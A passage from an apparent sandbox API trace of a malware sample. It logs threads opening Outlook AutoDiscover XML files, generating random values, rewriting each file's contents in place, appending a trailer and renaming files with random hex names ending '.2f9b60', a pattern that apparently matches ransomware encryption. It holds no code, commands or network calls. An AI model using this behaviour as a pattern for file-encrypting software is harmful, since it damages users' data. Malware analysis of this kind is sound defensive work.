lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261670 [0230.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0230.625] NtQuerySystemTime (in: CurrentTime=0x2e02f780 | out: CurrentTime=0x2e02f780*=132462178346158000) returned 0x0 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x54cfdc [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x67751858 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x7ae5c446 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0xd09c95a [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x2abaf903 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x37f3a97e [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x7a8c0503 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x11593136 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x544d4645 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x1b407c53 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x31ccf425 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x1c29e092 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x520820d6 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x19365cfe [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x1a277c87 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x7ae5c446 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x71ac4f8c [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x4d30b185 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x4cd1c95c [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0xacc6dcb [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x356a9257 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x6b3db65e [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x620a31fa [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x6899c05f [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x1e267dc [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x481822c6 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x2f44ea81 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x3da0477c [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0xacc6dcb [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x350705a2 [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x78075c0b [0230.625] RtlRandomEx (in: Seed=0x2e02f770 | out: Seed=0x2e02f770) returned 0x7b71537e [0230.633] ReadFile (in: hFile=0x1148, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2e02f770, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x2e02f770*=0x32a, lpOverlapped=0x0) returned 1 [0230.633] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.633] WriteFile (in: hFile=0x1148, lpBuffer=0x2032f950*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2e02f774, lpOverlapped=0x0 | out: lpBuffer=0x2032f950*, lpNumberOfBytesWritten=0x2e02f774*=0x32a, lpOverlapped=0x0) returned 1 [0233.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c80 [0233.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262510 [0233.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262510) returned 1 [0233.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2032f950) returned 1 [0233.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0233.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868040) returned 1 [0233.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0233.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431acfa0 [0233.821] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.821] WriteFile (in: hFile=0x1148, lpBuffer=0x431f1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e02f890, lpOverlapped=0x0 | out: lpBuffer=0x431f1020*, lpNumberOfBytesWritten=0x2e02f890*=0x110, lpOverlapped=0x0) returned 1 [0236.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0236.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b40) returned 1 [0236.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262b40 [0236.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260440 [0236.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0236.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202629c0) returned 1 [0236.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0236.065] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="98") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="16") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="9d") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="f1") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="11") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="84") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="22") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="17") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="4d") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="90") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="73") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="e3") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="ab") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="02") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.065] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="fb") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="bf") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="08") returned 2 [0236.065] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.066] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="3f") returned 2 [0236.066] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.066] RtlInitAnsiString (in: DestinationString=0x2e02f908, SourceString="b398169df111845a22174d90ef73e3abe53db6c8bb02c7fbe0bf08bb3f2d" | out: DestinationString="b398169df111845a22174d90ef73e3abe53db6c8bb02c7fbe0bf08bb3f2d") [0236.066] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e02f8d8, SourceString="b398169df111845a22174d90ef73e3abe53db6c8bb02c7fbe0bf08bb3f2d", AllocateDestinationString=1 | out: DestinationString="b398169df111845a22174d90ef73e3abe53db6c8bb02c7fbe0bf08bb3f2d") returned 0x0 [0236.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86a350 [0236.066] wcscat (in: _Dest=0x1ce224a0, _Source="b398169df111845" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845" [0236.066] wcscat (in: _Dest=0x1ce224a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845.2f9b60" [0236.066] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845.2f9b60", NtPathName=0x2e02f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\b398169df111845.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7440 Thread: id = 3826 os_tid = 0xad8 [0227.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml")) returned 0x20 [0229.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML", dwFileAttributes=0x20) returned 1 [0229.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x176c [0229.254] GetFileSizeEx (in: hFile=0x176c, lpFileSize=0x2485fac0 | out: lpFileSize=0x2485fac0*=812) returned 1 [0229.254] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.254] ReadFile (in: hFile=0x176c, lpBuffer=0x2485fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2485fa88, lpOverlapped=0x0 | out: lpBuffer=0x2485fa40*, lpNumberOfBytesRead=0x2485fa88*=0x4, lpOverlapped=0x0) returned 1 [0230.418] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0230.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0230.420] NtQuerySystemTime (in: CurrentTime=0x2485f980 | out: CurrentTime=0x2485f980*=132462178344130000) returned 0x0 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0xd2592b0 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x8259824 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x4af3a616 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x365d0e46 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x71ec9fd9 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x2396239b [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x5346acf [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x6f5984fc [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x49a99a6d [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x7cfad486 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x678dc278 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x5f6dc347 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x3e7e4a01 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x4062bfda [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x4f71b3f4 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x2cb40d83 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x61cc6305 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x238daadd [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x41a22b13 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x2d74fed0 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x456e2a77 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x453c1d8f [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x43fb37f3 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x39990324 [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x2b42201c [0230.420] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x2813a9b8 [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x7d8fa003 [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x6cd66434 [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x432eab25 [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x255d894f [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0x7d5cc271 [0230.421] RtlRandomEx (in: Seed=0x2485f970 | out: Seed=0x2485f970) returned 0xd4ea37a [0230.428] ReadFile (in: hFile=0x176c, lpBuffer=0x2046ff70, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2485f970, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesRead=0x2485f970*=0x32c, lpOverlapped=0x0) returned 1 [0230.428] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.428] WriteFile (in: hFile=0x176c, lpBuffer=0x2043b690*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2485f974, lpOverlapped=0x0 | out: lpBuffer=0x2043b690*, lpNumberOfBytesWritten=0x2485f974*=0x32c, lpOverlapped=0x0) returned 1 [0233.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0233.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614c0 [0233.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614c0) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043b690) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0233.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ee0) returned 1 [0233.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431ad4e0 [0233.702] SetFilePointerEx (in: hFile=0x176c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.702] WriteFile (in: hFile=0x176c, lpBuffer=0x42c142d0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2485fa90, lpOverlapped=0x0 | out: lpBuffer=0x42c142d0*, lpNumberOfBytesWritten=0x2485fa90*=0x112, lpOverlapped=0x0) returned 1 [0235.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0235.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0235.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0235.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0235.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0235.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0235.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97b70 [0235.723] sprintf (in: _Dest=0x1cd97b70, _Format="%c%c" | out: _Dest="66") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b72, _Format="%c%c" | out: _Dest="05") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b74, _Format="%c%c" | out: _Dest="51") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b76, _Format="%c%c" | out: _Dest="64") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b78, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b7a, _Format="%c%c" | out: _Dest="92") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b7c, _Format="%c%c" | out: _Dest="51") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b7e, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b80, _Format="%c%c" | out: _Dest="00") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b82, _Format="%c%c" | out: _Dest="5f") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b84, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b86, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b88, _Format="%c%c" | out: _Dest="a8") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b8a, _Format="%c%c" | out: _Dest="ce") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b8c, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b8e, _Format="%c%c" | out: _Dest="d3") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b90, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b92, _Format="%c%c" | out: _Dest="08") returned 2 [0235.723] sprintf (in: _Dest=0x1cd97b94, _Format="%c%c" | out: _Dest="30") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97b96, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97b98, _Format="%c%c" | out: _Dest="79") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97b9a, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97b9c, _Format="%c%c" | out: _Dest="71") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97b9e, _Format="%c%c" | out: _Dest="79") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97ba0, _Format="%c%c" | out: _Dest="65") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97ba2, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97ba4, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97ba6, _Format="%c%c" | out: _Dest="07") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97ba8, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97baa, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97bac, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.724] sprintf (in: _Dest=0x1cd97bae, _Format="%c%c" | out: _Dest="27") returned 2 [0235.724] RtlInitAnsiString (in: DestinationString=0x2485fb08, SourceString="66055164f49251a7005f7dcfa8cefdd30e0830e179f9717965e3fc07b47ec527" | out: DestinationString="66055164f49251a7005f7dcfa8cefdd30e0830e179f9717965e3fc07b47ec527") [0235.724] RtlAnsiStringToUnicodeString (in: DestinationString=0x2485fad8, SourceString="66055164f49251a7005f7dcfa8cefdd30e0830e179f9717965e3fc07b47ec527", AllocateDestinationString=1 | out: DestinationString="66055164f49251a7005f7dcfa8cefdd30e0830e179f9717965e3fc07b47ec527") returned 0x0 [0235.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a28d0 [0235.725] wcscat (in: _Dest=0x4312b9e0, _Source="66055164f49251a7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7" [0235.725] wcscat (in: _Dest=0x4312b9e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7.2f9b60" [0235.725] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7.2f9b60", NtPathName=0x2485fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\66055164f49251a7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced1460 Thread: id = 3827 os_tid = 0xe20 [0227.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml")) returned 0x20 [0229.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML", dwFileAttributes=0x20) returned 1 [0229.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f44 [0229.242] GetFileSizeEx (in: hFile=0x1f44, lpFileSize=0x2854fc20 | out: lpFileSize=0x2854fc20*=812) returned 1 [0229.242] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.242] ReadFile (in: hFile=0x1f44, lpBuffer=0x2854fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2854fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2854fba0*, lpNumberOfBytesRead=0x2854fbe8*=0x4, lpOverlapped=0x0) returned 1 [0229.957] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0229.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0229.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0229.958] NtQuerySystemTime (in: CurrentTime=0x2854fae0 | out: CurrentTime=0x2854fae0*=132462178339450000) returned 0x0 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x768140e0 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x22bfe7db [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x7109f7a [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x6d4c5405 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x4f496c32 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x2b16c4d8 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x2d9a2acd [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x6780a866 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x32b3ea60 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x115614ae [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x5badda74 [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: Seed=0x2854fad0) returned 0x3ade522d [0229.959] RtlRandomEx (in: Seed=0x2854fad0 | out: 